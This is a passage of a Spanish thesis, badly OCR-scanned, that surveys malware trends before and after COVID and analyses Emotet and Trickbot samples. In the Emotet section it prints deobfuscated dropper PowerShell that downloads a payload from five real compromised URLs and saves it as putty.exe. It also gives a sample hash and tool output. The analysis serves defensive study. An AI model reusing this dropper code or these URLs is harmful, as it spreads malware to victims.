
puede ser producto de usuarios que reciben el mensaje de alerta por virus.

L]

o <

Interés a lo largo del tiempo

ESTADO DEL

Figura 7.4: Interés en el tiempo sobre “Coinhive” - Google Trends.

Consultas relacionadas Principales v # <> «
1 coinhive javascript
2 coinhive malware

3 coinhive wordpress

4 coinhive virus

5 ma doc coinhive 13

Mostrando 1-5de 7 consultas >

Figura 7.5: Bisquedas relacionadas con “Coinhive” - Google Trends.

Finalmente, se muestra una gréfica aportada en el reporte anual de Fortinet[75] con
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las distintas familias de mineros que se detectaron durante estos dos anos.
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Figura 7.6: Familias de mineros descubiertas en 2017 y 2018.

En la seccion 9, se hace un anélisis méds en profundidad de los diversos mineros, asi

como sus diferencias y una comparacién maés a fondo entre la situacién pre y post COVID.

7.1.2. Info Stealers

Ademas de los mineros silenciosos, otra de las categorias muy predominantes han sido
los info stealers, sobre todo las variantes Emotet v TrickBot, que desarrollaron nuevas
caracteristicas de produccién de spam, movimiento lateral, o métodos de robo de carteras
de criptomonedas.

El principal objetivo de este tipo de malware fueron las empresas, llegando a ser la
mayor amenaza para las empresas en 2018 para la mayoria de regiones del mundo. Su
intencion fue tratar de obtener informacién clasificada para vender en el mercado negro.
Aunque Emotet y Trickbot hayan sido las familias precursoras, muchas otras le siguieron
aprovechandose de la situacion, atacando a millones de victimas inseguras.

El actor principal, Emotet, utilizé routers como su principal vector de propagacién,
haciendo de ellos nodos prozy para su infraestructura de Command and Control (C2C).

Su beneficio provino sobretodo de troyanos bancarios.
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Por otro lado, Trickbot utiliz6 una estrategia de propagacion similar, pero se con-
centré en distribuir ransomware haciendo que todas las maquinas de la red quedaran
encriptadas. Posteriormente se incluyeron funcionalidades de mineros para aumentar sus
beneficios. Destacar que esta variante tuvo gran importancia en 2019, incluso superando
al crecimiento de la variante Emotet.

Como tercera mencion, se podria analizar la familia Zeus Panda, que mostré métodos
interesantes para la infeccién de equipos, basdndose sobretodo en exploits y documentos

con macros maliciosas.

7.1.3. Ransomware

La escena del malware afecté en mayor o menor medida segiin el sector, por ejemplo,
en el sector de la salud el 85 % del malware se clasifica como ransomware. En 2017 estuvo
marcado fuertemente por ataques como WannaCry o NotPetya, que se hicieron llegar a
bocas de todos afectando a mas de 150 paises, con perdidas econémicas millonarias.

De hecho, en este mismo ano, Malwarebytes reporta un aumento en 10 veces el uso de
ransomware con respecto al ano anterior|76].

No obstante, en 2018, las detecciones de ransomware disminuyeron levemente, sobre-

todo por la mitigacién de la familia WannaCry.

ESTADO DEL

Gran importancia tienen también familias como GandCrab que proporcionaron Ransomware-

as-a-Service (Raas). Este malware fue introducido a principios de 2018 y llegé a infectar
a mas de 50k sistemas en menos de un mes. Desde entonces, ha llegado a ser el segundo
ransomware con mas detecciones. Su vector de ataque principal es el uso de macros en

ficheros que son distribuidos por correo.

7.2. Situacion del Malware Post-COVID

En esta seccién, se hard un anélisis del malware post-covid, es decir, desde final de

2019 y en adelante. Cabe notar que se tendra en cuenta sobretodo desde 2020, pues la
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pandemia tuvo lugar en diciembre de 2019, lo que significa que no tuvo gran impacto
durante ese ano.

El impacto de la pandemia sobre el malware es una realidad, fuentes como ESET|77|
0 Malwarebytes|78] han dedicado desde entonces una seccién especial al fenémeno. En
estas secciones, se muestran grandes cantidades de campanas de phishing y fraude.

Los ataques ademads, no solo han crecido en términos de nimeros, sino que también
en su impacto. Como ejemplo claro, puede verse el ataque del ransomware WastedLocker
a Garmin, que dej6 sin GPS y sin servicio a todos sus clientes|79].

Tal y como se plantea en este TFG, el principal factor que ha provocado grandes
riesgos es el cambio del trabajo a un modelo hibrido o completamente en linea.

Sobretodo, cabe destacar también, el cambio en las detecciones. Malwarebytes reporta
para los ordenadores Windows de empresa un 24 % menos detecciones en malware con-
vencional, pero un incremento del 147 % en HackTools v 24 % en Spyware. Por ejemplo,
se puede ver en la figura 7.7 cémo las detecciones de familias como Trickbot o Emotet
han disminuido considerablemente. Por otro lado, puede observarse claramente como el
software KMS, utilizado para crackear la suite de Microsoft Office ha aumentado un

2250 %.

Top 10 business malware threats 2020 compared to 2019

Threats % Change

(1) BitCoinMiner 1,352,256 2,769,835 o5
(2] KMS 81,356 1,912,628 D 2.251%
© Dridex 37,899 406,575 [ a3
(4] gﬁg'g,o,lSCam 64,097 203,795 B 2s%
e Injector 4,254,297 187,283 —96%'
(6] InfoStealer 8,510 183,568 D 2.057%
o Dropper 464,464 174,270 -62%'

Farfl 24,368 162,281 566%
(o] Trickbot 455,571 144,993 -68% |
10} Emotet 1,235,801 132,326 -89% )

Figura 7.7: Top 10 amenazas de malware en la industria comparando 2020 con 2019.
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Top 10 business threats 2019 and 2020
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Figura 7.8: Top 10 amenazas para la industria en 2019 y 2020.

Los malhechores se han aprovechado de la nueva situaciéon donde la superficie de ataque
es mayor y presuntamente no tan preparada|79|.

A pesar de que ya existia una tendencia en el malware de atacar a organizaciones
y companias, grandes empresas afirman que han sufrido un mayor target, y sobretodo,
tratando de atacar al trabajador remoto con intencién de escalar a mayores objetivos|79].

Al igual que las grandes firmas, los reportes de ENISA[33] también han incluido una
seccién sobre el COVID. En su reporte publicado en 2021[80], se realizé una encuesta a
grandes companias. En esta encuesta se declara que el 54 % de organizaciones necesita-
ron trabajo remoto, de las cuales el 70 % declararon que esta modalidad de trabajo les
supondria un incremento en el tiempo de identificacién y contencién de una brecha y el
76 % declararon que supondria un incremento en su coste.

A continuacién se exponen las categorias de malware mas presentes desde el inicio de

la pandemia.

7.2.1. Ransomware

En primer lugar se presenta el Ransomware, lo cual no es una sorpresa. La tendencia
tal y como se ha analizado estaba ya presente en la situacién pre-COVID. Segin ENISA,

el ransomware se describe como “la principal amenaza de 2020-2021”". El Ransomware
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sigue siendo el método estrella utilizado para la obtenciéon y monetizacién de las activi-
dades cibernéticas ilicitas. Como vectores para la infeccion de Ransomware, se utilizaron
sobretodo emails con phishing y fuerza bruta en servicios de escritorio remoto (RDP).
Estos servicios son altamente usados durante el trabajo remoto, por lo que puede ser un
indicador mds para analizar como el malware se ha adaptado a la pandemia.

Algunos reportes, afirman también que, en muchas ocasiones, las infecciones se reali-
zaban manualmente, tras haber usado servicios como RDP para la entrada al sistema.

El malware ha sido dirigido también en gran medida al sector de la salud, con grandes
familias como Maze, Conti o Ryuk, atacando a hospitales.

También es interesante comentar el incremento del modelo de negocio Ransomware as
a Service (RaaS), lo que dificulté gravemente la atribucién de ataques a ciertos actores o
grupos.

Durante 2020, dos tercios de las campanas de ransomware fueron atribuidas a ope-
radores usando RaaS|[33]. El éxito de este tipo de campanas puede atribuirse en gran
medida a la poca experiencia necesaria para el uso de estas herramientas.|33]

Aunque el método de extorsién principal siga siendo el mismo (el cifrado de los datos),
muchos de los actores también han optado por lo que es conocido como una “doble extor-
siéon”. A parte de encriptar los sistemas y pedir un rescate, algunos de los datos sensibles
de la empresa son exfiltrados de forma que se amenaza con hacerlos piblicos. El hacerlos
ptblicos no solo supone mayor presion para la victima, sino que da credibilidad al autor
del malware. Esto es posible verlo en familias como Maze.

A partir de ahi, los datos en muchas ocasiones han sido vendidos en la Dark Web o
utilizados en los medios de comunicacion para dar visibilidad al ataque. De hecho, en
2020, los atacantes ganaron més dinero demandando un rescate por la publicacién de los
datos que con las victimas que querian desencriptar los archivos. Por ejemplo la familia
REwvil o Sodinokibi, que dice haber obtenido 100 millones de délares en ese mismo ano
solamente de la doble extorsion. A menudo, los ataques también iban acompanados de

ataques DDoS o extorsion a particulares.
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7.2.2. Otros tipos de malware

En segundo lugar se encuentra el malware como troyanos o gusanos.

En 2019, existi6 un gran aumento en familias como Emotet (6 %) o Trickbot (52 %). Sin
embargo, esta categoria se muestra en decadencia desde inicios de 2020. Esta decadencia,
parece ser intencional, pues se piensa que la intencién de los actores es la de reducir su
“basura”, es decir, al realizar campanas de malware més extensas, existen muchas victimas
doénde el ataque no tiene éxito; pero, sobretodo, existen victimas que son profesionales de
seguridad que tienen honeypots para capturar ma:l malicioso. Esto es lo que se denomina
como “basura’.

Al ser capturado por estos honeypots, los investigadores pueden crear rdpidamente
formas de detectar el malware haciéndolos menos efectivos contra las nuevas victimas.

Por tanto, parece ser que los ataques ahora son més dirigidos y poseen una mayor tasa
de éxito.

Ademads, se detecta una gran cantidad de malware en lenguajes de programacién nue-
vos o no tan comunes. Esto puede ser para intentar burlar los andlisis estéaticos.

También se ha evidenciado gran popularidad en malware para contenedores o malware
file-less, lo que permite una menor huella en el sistema y por tanto més dificultades para

detectar el malware.

7.2.3. CriptoJacking

Posteriormente, se encuentra el criptojacking. De nuevo esta categoria no es una sor-
presa, el mercado de las criptomonedas sigue en aumento (consiguiendo precios histéricos)
y al presentar un modelo de negocio més seguro, ha hecho que esta categoria se posicione
en tercer lugar segin ENISA. De hecho, se estima que en el primer cuarto de 2021 se
obtuvo el mayor record de detecciones desde los tltimos anos. Cabe destacar también
cémo se ha pasado a una transicién de mineros en el navegador a mineros file-less. De

nuevo, esta técnica puede ser para tratar de evitar la deteccién.
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7.2.4. Spam, Phishing, Extorsion y Stalkerware

La ingenieria social se basa sobretodo en abusar de las personas mas susceptibles.
Momentos de desconcierto y caos son momentos clave en los cuales las personas pueden
encontrarse “con la guardia baja” y caer en ataques de ingenieria social.

Se estima, que en Abril de 2020, un tercio de toda la poblacién mundial se encontraba
en mayor o menor medida de confinamiento y medidas de distanciamiento social[81], es
decir, este era un punto perfecto donde atacar al factor humano.

Esto se refleja en varias tendencias, en primer lugar, en las extorsiones por correo
electrénico. En ellos, el tema del COVID-19 es recurrente, incluso a finales de 2021. La
extorsion se muestra particularmente al comprometer correos de empresa (BEC) o la
utilizacion de estos correos para métodos de ataque mas sofisticados y dirigidos.

Por otro lado, el phishing. Algunas temadticas de ejemplo pueden ser: falsas campanas
de vacunacién, obtencién de datos para el seguimiento de la pandemia, suplantacién de
identidad de grandes corporaciones médicas, etc. Posteriormente, cuando el trabajo remo-
to se popularizé, comenzaron a detectarse correos con tematica de herramientas utilizadas
como Zoom, Microsoft Teams, entre otras.

Es interesante analizar también, como a menudo se adecuaban también a las diferentes
etapas de la pandemia. Como la figura 7.9 muestra, es cuestiéon de dias que las diferentes

familias de malware se adaptan a los eventos locales y actian en concordancia.
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Figura 7.9: Uso de la temdtica del COVID en el malware - Microsoft|3].

Por otro lado, se puede analizar el Spam. La cantidad de spam es tanta, que Google
anuncié estar bloqueando en Abril 18 millones de e-mails de spam relacionados con el
COVID-19 por dia.

En el siguiente grafico (fig. 7.10), se puede ver claramente como existe un gran pico en
el inicio de la pandemia, donde predominan familias como Emotet o Trickbot (analizadas
en el capitulo 8).

Email threat detections 2018-2021
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—— Remcos
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Figura 7.10: Detecciones maliciosas en el correo desde 2018 hasta 2020.
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Al igual que con el Ransomware, el modelo de negocio bajo demanda o “as a service” ha
tomado gran importancia, en este caso se ha denominado Phishing-as-a-Service (PhaaS).

Como mencién especial, se plantean algunos tipos de malware y técnicas, que a pesar
de tener nichos mé&s concretos, aumentaron considerablemente. Claro ejemplo es el del
stalkwerware, es decir, aplicaciones usadas para monitorizar y espiar sistemas, a menudo
usadas por parejas abusivas.

A partir de abril de 2020, cuando se decreté el estado de alarma mundial debido a
la pandemia, en Android, las detecciones de aplicaciones de monitorizacién y spyware

aumentaron un 565 %.[78|

7.2.5. Larapida digitalizacién y la falta de madurez en el software

Durante la época de pandemia, la digitalizacién se acelerd, siendo esta la principal
arma contra el COVID-19. No obstante, donde muchos ven progreso, otros ven posibles
vulnerabilidades o uso de tecnologia no lista para salir al mercado real. Se pueden analizar
dos claros ejemplos de ello:

''La vulnerabilidad de los sistemas blockchain al ataque del 51 constituye otro gran
desafio, como lo demuestra el reciente hackeo del sitio web del boletin oficial
basado en blockchain del gobierno argentino, donde se difundieron declaraciones
falsas sobre el coronavirus.''

- Servicio de Investigacién del Parlamento Europeo [82]

Un ataque del 51 % ocurre cuando un usuario malicioso obtiene mayor poder de minado
que el resto de usuarios. Asf entonces, el usuario malicioso es capaz de parar confirmaciones
y crear nuevas transacciones.

Se podria pensar que es problema de la infraestructura del gobierno argentino, pero
no es necesariamente el caso, este tipo de ataques son inherentes a la mayoria de redes, y
de hecho estos ataques han ocurrido multiples veces en muchas criptomonedas famosas.
Como gran ejemplo se puede analizar Ethereum Classic que sufrié 3 veces este ataque

en 2020 durante un solo mes [83] o Bitcoin Gold, que en 2018 también sufrié este ataque

asumiendo pérdidas de mds de 18 millones de délares|84].
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Por otra parte, se pueden analizar ejemplos cotidianos, en aplicaciones presentes en el

dia a dia. Se analiza una cita del blog de BBVA.

''"Quioscos activados por voz para recoger el peridédico sin tocar nada, robots a las
entradas de los hoteles para recibir a los turistas y hologramas que sustituyen a
los botones para reducir el contacto en los ascensores.''

- Banco BBVA|85]

A pesar de las ventajas que estos sistemas proponen, muy a menudo no son testeados
los suficiente. Especialmente, desde el punto de vista de la seguridad, haciendo pues, que
las prestaciones acaben siendo puntos de entrada para los atacantes. Segin un reporte
de Unit 42[86] (un equipo de Palo Alto Networks) en 2020, 6 de cada 10 (57 %) de los
dispositivos IoT son vulnerables a al menos ataques de seguridad con severidad media.
Se anade también, que el 98 % del trafico no se encuentra encriptado.

La cantidad de ataques producida también sufrié un increible aumento. Segiin un
estudio de ZScaler|87], en Diciembre de 2020 se bloquearon 300.000 ataques de malware
a IoT, un 700 % mads que en afio anterior. Estos ataques se realizaban a todo tipo de
dispositivos: Impresoras, televisiones inteligentes, cdmaras, etc. 553 dispositivos distintos
fueron analizados.

Microsoft también reporta un aumento del 35% en la primera mitad de 2020 con
respecto a la segunda mitad de 2019(88].

Analizando los datos gréaficamente, también se puede ver una muy clara correlaciéon

entre los ataques a [oT (fig. 7.12) y la influencia del COVID (fig. 7.12).
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Capitulo 8

InfoStealers

A continuacién, se hara un analisis de las familias mencionadas utilizando diversos
métodos de reversing o andlisis. Se hard hincapié en diferentes aspectos, de forma que se
pueda tener un concepto mas generalizado de la situacion.

Esta seccion se centra en familias categorizadas como “stealers”. Es decir, malware que

busca el robo de informacién.

8.1. Muestra Pre-COVID: Emotet

En esta seccién, se muestra un andlisis de la familia Emotet, a menudo nombrada como
“una de las familias de stealers més predominantes” y “la principal amenaza en el mundo
del malware”[89].

En este caso, se prestara especial atencion al modelo de negocio y sus métodos de
infeccién. Se analizara también en gran detalle la parte del dropper, encargada de obtener

el malware en si.

63
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8.1.1. Introduccién

Emotet es una familia de malware identificada por primera vez en 2014(33].
En primer lugar, se trataba de un troyano bancario que buscaba robar informacién

financiera de sesiones bancarias mediante ataques man-in-the-browser (MITB).

Man-in-the-Browser Attack

ﬂ User downloads malware infecting workstation 4 The malware records the transaction request and modify it
2 The malicious malware infects the workstation browser 5 Money and receipt are transferred to the hacker

8 User access bank website requesting a transaction The malware changes the transaction receipt to the user

requested transaction to remain hidden
Hacker
g Transfer $1000 . Approved $10,000 to intruder
Malware Approved $1000 Transfer $10,000 to intruder
downloaded to . . .
User  worstaon  Workstation Browser 5 Application/Service Server

SECRET
DOUBLE
0CTOPUS

Figura 8.1: Ataque “man-in-the-browser” (MITB) - Fuente: Secret Double Octopus|6].

En un ataque man-in-the-browser, el usuario malicioso es capaz de obtener las peti-
ciones enviadas por el navegador del usuario infectado, asi como modificarlas a su gusto.

No obstante, desde 2017, se ha utilizado para distribuir otras familias de malware
como Zeus Panda o Trickbot|90].

Este cambio propone un nuevo modelo de negocio del atacante, donde la principal
fuente de ingresos se basa en la venta de accesos a una infraestructura de tipo botnet a

otros operadores de malware.
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Figura 8.2: Modelo de negocio de la familia Emotet.

8.1.2. Etapas de infeccién de la familia Emotet

En la mayoria de los casos, EFmotet se basa en técnicas de ingenieria social. Centrandose

sobretodo en la infeccién por medio de e-mails.

En gran parte de las campanas de Emotet, el autor del malware hace uso de e-mails

previamente obtenidos de la victima. De esta forma, el e-mail malicioso se puede enmas-

carar de forma mucho mas legitima, incrementando asi su porcentaje de éxito.

Segun el andlisis de Bromium, en la primera mitad de 2019, el formato mé&s comiin

utilizado fue Microsoft Word 97-2003 Document (.DOC)[91].

Para tratar de evitar la deteccién, también es comtin que el archivo se encuentre dentro

de un fichero comprimido (.ZIP) encriptado, cuya contrasena se encuentra en el cuerpo

del mensaje.

Estos ficheros . DOC), suelen poseer macros maliciosas, que obtienen de dominios com-

prometidos la muestra de malware.

En la figura 8.3, se ilustra a modo de resumen todo este proceso.
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Exfiltration

1
I
I
I
I
1

! TrickBot
1
I
I
I
I
I
1
Phishing email ~ Word attachment PowerShell Comptomiseclﬂ &  Emotet Trojan |
Usually from aknown  Often encrypted Parked domains ' I
sender 1 :

= ======= Tem——————— Te——————— Te=—=—-- v
Y A 4 4
6 == © U
=—opoo00—
[=]=T:]
Ik ko il
Browser password C2routing Harvest emails & Bruteforce local Ryuk

stealer contacts network credentials

Figura 8.3: Proceso de infeccién del malware|7].

A continuacién, se va a realizar el andlisis de una campafia de Emotet concreta|92].
Se utiliza la muestra con el hash:

82fa35d4f8552c453b7ae2603758478cc22a266e687e481d02473ace810cTela

8.1.3. Dropper

En primer lugar, se realizara el andlisis del dropper, es decir, el archivo encargado de
descargar el malware. Tal y como hemos mencionado, este archivo es cominmente enviado

por correo electrénico y adjuntado como fichero .DOC.
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@“ H9-0|= invoice_02-02-2019 [Compatibility Mede] - Microsoft Word Picture Tools = B R
Home Insert Page Layout References Mailings Review View Format [~
rn
e wy =, = iE 4 #4 Find ~
Times NewRom ~ 12 = A A" Aa~ | 5 EE LT
= Ea AaBbCcl AaBb( | AaBbCcl | AaBhCcl £, Replace
Paste - 2 abh® . FIEH=E=E = = % = . i —| Change
E \; B I U abe X, X 7 é E = E=|E 2 ] Emphasis Heading 1 T Mormal Strong = Stylesg' s Select =

Clipboard Font Fl Paragraph Fl Styles Fl Editing

This document is protected

L wm  JriE

To open the document,
follow these steps:

This document is only available for desktop
or laptop versions of Microsoft Office Word

Click Enable editing button from the yellow
bar above

Once you have enabled editing, please click

@:-'«D»{

Page:1 of1 | Words:0 | <3 | 100% (=) [

e - 0 @ €™ -

Figura 8.4: Dropper en fichero “DOC"..

El fichero descargado mediante este documento serd el encargado de atacar a los
diversos ordenadores que se encuentren en la misma red local, asi como exfiltrar datos del
host y descargar otro malware. Tal y como se ha mencionado en la seccion de malware
post-COVID, algunas de las muestras “afiliadas” pueden ser Trickbot y Ryuk.

De igual manera que la mayoria de muestras de droppers con Word, se hace uso de
codigo VBA (Visual Basic for Applications) obfuscado para descargar el malware desde
servidores comprometidos.

Para analizar de forma sencilla el VBA ofuscado, se hard uso de la herramienta Vi-
perMonkey|93|. ViperMonkey hace uso de Python para el parseo y emulacién de VBA.

Funciona de la siguiente manera:

1. El codigo fuente de la macro VBA se extrae de los ficheros Office usando olevba|94].

2. El cédigo es parseado usando gramética definida por pyparsing, siguiendo las espe-

cificaciones oficiales de MS-VBAL.
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3. El parser transforma el cédigo VBA en objetos de Python, lo que permite acceder a

un modelo de objetos estructurado.

4. Un emulador ejecuta el cédigo, simulando las caracteristicas de MS Office, asi co-
mo DLLs y objetos de ActiveX (elementos cominmente utilizados en muestras de

malware).
5. Las acciones son registradas y grabadas.

6. Los resultados se presentan de una forma amigable y clara, lo que es de gran interés

para el andlisis de la muestra.

En la figura 8.5 se puede ver como se ejecuta la herramienta sobre el dropper de

FEmotet. En la figura 8.6, se puede ver un extracto de las macros que han sido parseadas.

olorlog<s' to your dependencies if you require compatibilit

y", line 20, in <module>

m: u'Macros/VBA,

VBA CODE (with long 1

en()

- 3555 Then

Figura 8.5: ViperMonkey.
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VBA CODE (with long lines collapsed):

sub Document Open()

- 3555 Then

Dim tu96ocCK As Single
tu960cCK = Round(20521.794670846)

Dim hAanT8Em2 As Double
hAanT8Em2 = Sgn(58540.935390342)
Dim HMkjb As Long

HMkjb = (3330 / 370) + (6)

love "o"

VBA CODE (with long lines collapsed):
Sub love(IdZALGS)

Dim EQUQVgQ9N As String

EQUQVg9N = Len(YLPIKZX87)

Dim yDnCgl4 As Long

yDnCgl4a = - 791) - (13)

Dim yD7Emk2X5 As Long

yD7Emk2X5 = -833133810

Dim T7056ZwR As Long

T7056ZwWwR = Sgn (@)

Dim sBoDH7mZK As Boolean

sBoDH7mZK = False

cVMhaxQv = "w"

Call shell(KKZUbw(1l) & IdZALGS & cVMhaxQv & wFjUX1, @)

Figura 8.6: Macros del documento.

De todas las macros, nos interesa el punto de entrada. Esta se puede ver en la figura

8.7.
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Found Entry Point
Execute Command

document open
powobj6236.9355943074ect
-com6236.93559430740bj623
6.9355943074ect wscb6236.9
355943074ript.she6236.935
594307411 ; $WrDg5hT = new-
object sys6236.9355943074
tem.net.web6236.935594307
4client;$h2JAbj3E = new-
object random;$Lcik8RtZ =
\W"6236.9355943074h6236.93
5594307416236.9355943074t
6236.9355943074p6236.9355
943874://pro-course. ru/7W
N7nln,6236.9355943074h623
6.93559430741t6236.9355943
0741t6236.9355943074p6236.
9355943074 ://tapchisuckho
engaynay.com/wp-admin/Att
achments/FlhztkIS,6236.93
55943874h6236.9355943874t
6236.935594307416236.9355
943074p6236.9355943074: //
de.thevoucherstop.com/TxJ]
jRtZj,6236.9355943074h623
6.93559430741t6236.9355943
0741t6236.9355943074p6236.
9355943074://3kiloafvalle
n.nl/wwfuZp3g,6236.935594
3874h6236.935594387416236
.93559430741t6236.93559430
74p6236.9355943074: / /ucke
lecorp.com/QNTYLmNmt\".sp
16236.93559430741it(\",\")
:$ZKrReg4A = $h2JAbj3E.ne
x6236.9355943074t(1,
65536) ; $XgzWsIE = \"c:\wi
n6236.9355943074dows\temp
\put6236.9355943074ty.exe
:for6236.9355943074each

Figura 8.7: Punto de entrada.

claramente lo que hace este dropper

Shell function

Simplemente formateando la salida y realizando simples cambios ya se puede apreciar
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Tal y como se aprecia en la figura 8.8, existen 5 URLs que vienen en una String. Estéd

serd convertida en un array mediante el método split().

-object system.net.webclient;
object random;

\re:

}catch{}
.replace(\'\",

Figura 8.8: Macro formateada.

Posteriormente, se pasard a descargar el fichero y analizarlo.

8.1.4. Malware en si

Aunque el interés en esta seccién era el analizar la fase de infeccién, se hard un analisis
breve de la muestra, de forma que se pueda conocer su estructura y comportamiento.

Antes de analizar a fondo la muestra, se realizard lo que se denomina triaje. Es decir,
obtener el maximo conocimiento de la muestra antes de analizarla.

Para comenzar, se hard uso de exiftool. Fxiftool es una herramienta escrita en Perl que
permite la lectura de metadatos en muchos ficheros. También se puede hacer uso de la
herramienta signsrch que busca implementaciones comunes de encriptacion o compresion.

No obstante, parece no encontrar nada.
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/Downloads /emotet$
1 Version Number :

File Name

Directory

File Size

File Modification Date/Time

File Access Date/Time

File Inode Change Date/Time

File Permissions

File Type

File Type Extension

MIME Type

Machine Type

Time Stamp

Image File Characteristics

PE Type

Linker Version

Code Size

Initialized Data Si

Uninitialized Data

Entry Point

05 Version

Image Version

Subsystem Version

Subsystem

Warning

12.16
stage5.exe

208 KiB

2019:02:19 10:46:07-05:00
2022:01:16 12:50:56-05:00
2022:01:16 11:15:18-05:00
r'w-r--r--

Win32 EXE

=
application/octet-stream
Intel 386 or later, and compatibles
1995:11:13 15:26:08-05:00
Executable, 32-bit
PE32
15.08
16384
4]
106496
0x2293
6.0
6.0
6.1
Windows GUI
Error processing PE data dictionary

Figura 8.9: Archivo descargado del dropper.

remnux@remnux:~/Downloads /emotet$ signsrch stage5.exe

Signsrch 0.2.4

by Luigi Auriemma

e-mail: aluigi@autistici.org
web: aluigi.org

optimized search function by Andrew http://www.team5158.com/~andrew/
disassembler engine by 0leh Yuschuk

open file "st
212992 bytes
load signatures

open file /fusr/share/signsrch/signsrch.sig

3075 signatures in the database
start 2 threads
start signatures scanning:

num description [bits.endian.size]

© signatures found in the file in 1 seconds
done

Figura 8.10: Biisqueda de algoritmos de cifrado.
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La lista de tmports parece no ser demasiado larga, por lo que podria ser un indicador

de estar empacado.

KERNEL32.d11
USER32.d11
mscms.dll
GDI32.d11
VERSION.d11
SHELL32.d11
ADVAPI3Z2.d11l

GetCurrentPro sId
WaitForSingleObject

ntdll.dll Library
KERNEL32.d11 Library
USER32.d11 Library
mscms.dll Library
GDI32.dll Library
VERSION.d11l Library
SHELL32.d11 Library
ADVAPI3Z.d11 Library

Figura 8.11: Imports iniciales.

Comprobamos entonces la entropia. Para eso usamos pecheck.py|95], una herramienta

muy ttil para obtener informacién sobre un PE (Portable Executable).

Entropy:

MD5 5de4166dd946 3

SHA-1 IEH 2bd5d96554dadd4

SHA-256 hash: 82fa35d4f8552c453b7ae2603738478cc22a26 e481d02473ace810c7ela

SHA-512 hash: 18lclaefbef49482644b717f3d8747bd1lcb344c01924bab395d69d370adb834a014da03a95ab970dc79886TTa5en2dd6090cb6059T6a48

1090fb745d5ccds
.text entro

4.637461 (Min
321749 (Min=0

Figura 8.12: Anilisis de entropia sobre la muestra.

Se obtiene una entropia de 6.66 sobre 8.0. Por todos los indicios obtenidos, se podria

decir que se encuentra empacado.

INFOSTEALERS



INFOSTEALERS

InfoStealers 74

Finalmente, corremos el software “Capa”, una herramienta de Flare (Mandiant) que
permite detectar comportamientos en un ejecutable. Como se puede observar en la figura
8.13, se detectan comportamientos como la deteccién de méaquinas virtuales, deteccién de

debuggers, codificacion XOR, etc.

5de4166dd94633f819bT4a453705dfe5
2bd5d96554da4d4c942 35e6df98143fd46c14
sha256
path

————+

::System Checks [T1497.001]
[T1e59]
[T1129]

+
|
+
|
|
|
|
+

[BOEO1.0825]
E ruction Testing [B0069.029]
[BEBBI]
::XOR [CPO26.002]
::Encoding-Standard Algorithm [E1027.m@2]

i-analysis/anti-debugging/debugger-detection
i-analysis/anti-vm/vm- i
i-analysis/anti-vm/vm-
-manipulation/encoding/

st-interaction/cli

(3 matches)

f————— =

Figura 8.13: Comando Capa sobre el malware.

Ademads, gracias a herramientas gratuitas en la nube como Cuckoo Sandbox o similares,
podemos generar graficos de ejecucién de manera muy sencilla. A continuacién, en la figura
8.14, se muestra el gréfico de ejecuciéon dado por JoeSandbozx|8|.

En la figura, se aprecia como el malware contacta con numerosas URLs, las cuales son
detectadas como maliciosas. Ademads, crea varios subprocesos los cuales poseen nombres
de procesos comunes, pero son realmente maliciosos. Por ejemplo: putty.exe. Dichos sub-
procesos se encargan de modificar configuraciones de antivirus, esconder las trazas de la

muestra descargada y realizar conexiones de red.



InfoStealers 75

impEp B0d PUSM 3 WOy

oy
oy

ydean Jo1aeyag

)
P

5 i% 8
@ G} 5
9 a g
e B E
= ® o = b ﬂ
i u| mE:
& w £
g
i
8 5
g & @ :
= @ g .
i g ;
uig a‘_.__-f——'—"- N
et B 8
g ] i B = 2
it
EE_% " a a
H @
. g4 9
] # &M £g
@ 2 @ g8
H H H
W i gz82g
] ] = s EEE
. g o & By
g
2

8
]

2y wmm
(newam -
e
(D]
[T
arzEomE

Wowpnody
o

DaEEE

®
BIE EDYLI .|

. | (D]

@

L
ar
H e

3]
@
o

.
H
0= EODE

L]

D O

Figura 8.14: Comportamiento del malware - Grafico generado por JoeSandboz|8|.

El malware se presenta de forma muy modular. Esto es debido a que posee médulos
para escalar privilegios, obtener contactos y emails para infectar a otros usuarios, hacer
fuerza bruta de credenciales y también actuar como proxy del C2.

Por todas estas capacidades, su propagacién es rdpida y al colaborar con otras muestras

el usuario infectado se ve con diversas amenazas a la vez.
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8.2. Muestra Post-COVID: Trickbot

Tal y como se ha mencionado en la seccién 7.1.2, Trickbot, junto con Emotet, han sido
las principales familias de stealers, y a menudo han trabajado de la mano.

En esta seccion se hard andlisis tanto de una traza de red como del cédigo fuente.

8.2.1. Analisis de red

A continuacién, se hard el andlisis de una traza de trdfico de red producida al ser
infectado por la familia Trickbot.

Para obtener la traza de red se hard uso de la pagina web del famoso investigador
“Brad Duncan” apodado en sus redes sociales como @malware _traffic|96|

En su pagina web, permite como ejercicio descargar ciertas muestras de malware y

trazas de red. En este caso se analizard la denominada “CatBomber”|97].

o IEN
MALWARE-TRAFFIC-ANAI_;R%?\I\S.NET

N

2020-05-28 - TRAFFIC ANALYSIS EXERCISE - CATBOMBER
ASSOCIATED FILES:
+ Zip archive of the pcap: 2020-05-28-traffic-analysis-exercise.pcap.zip 6.1 MB (6,148,841 bytes)
+ 2020-05-28-traffic-analysis-exercise.pcap (8,322,070 bytes)
NOTES:

« All zip archives on this site are password-protected with the standard password. If you don't know it, look at the "about” page of this website.

Figura 8.15: Descarga de una traza de red producida al infectarse con la familia Trickbot.

Para el anélisis de trazas de red, se hard uso de la herramienta Wireshark|98]. Esta
herramienta es posiblemente la més utilizada para andlisis de trafico de red y de protocolos.

Uno de los primeros pasos al analizar una traza de red, puede ser filtrar por protocolos.
Para comenzar, es de especial utilidad el protocolo de DNS.

DNS, del inglés “Domain Name System”, es una manera de nombrar e identificar de
forma jerdrquica y descentralizada a los diversos sistemas que se encuentran en internet.

Por tanto, dicho protocolo, nos permite con solo un vistazo identificar los dominios

con los que se contacta.
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(W ]cns X +
No. Time Source Destination Protocol Length  Info A~
T 14 8.912222 10.5.28.8 DNS 73 Standard query 0x8d9d A api.ipify.org
15 8.961026 10.5.28.229 DNS 299 Standard query response @x8d9d A api.ipify.org CNAME nagano-19599.herokussl.com CNAME e1b@97307-934924932.us-east-1.elb.amazo..
36 35.325371 = DNS 92 Standard query @x62a2 A 112.146.166.173.zen.spamhaus.org
37 35.382108 10.5.28.229 DNS 156 Standard query response @x62a2 No such name A 112.146.166.173.zen.spamhaus.org SOA need.to.know.only
38 35.382969 10.5.28.8 DNS 91 Standard query @xa5d5 A 112.146.166.173.cbl.abuseat.org
40 35.441764 10.5.28.229 DNS 164 Standard query response @xa5d5 No such name A 112.146.166.173.cbl.abuseat.org SOA need.to.know.only
41 35.442589 10.5.28.229 10.5.28.8 DNS 98 Standard query @x3b7b A 112.146.166.173.b.barracudacentral.org
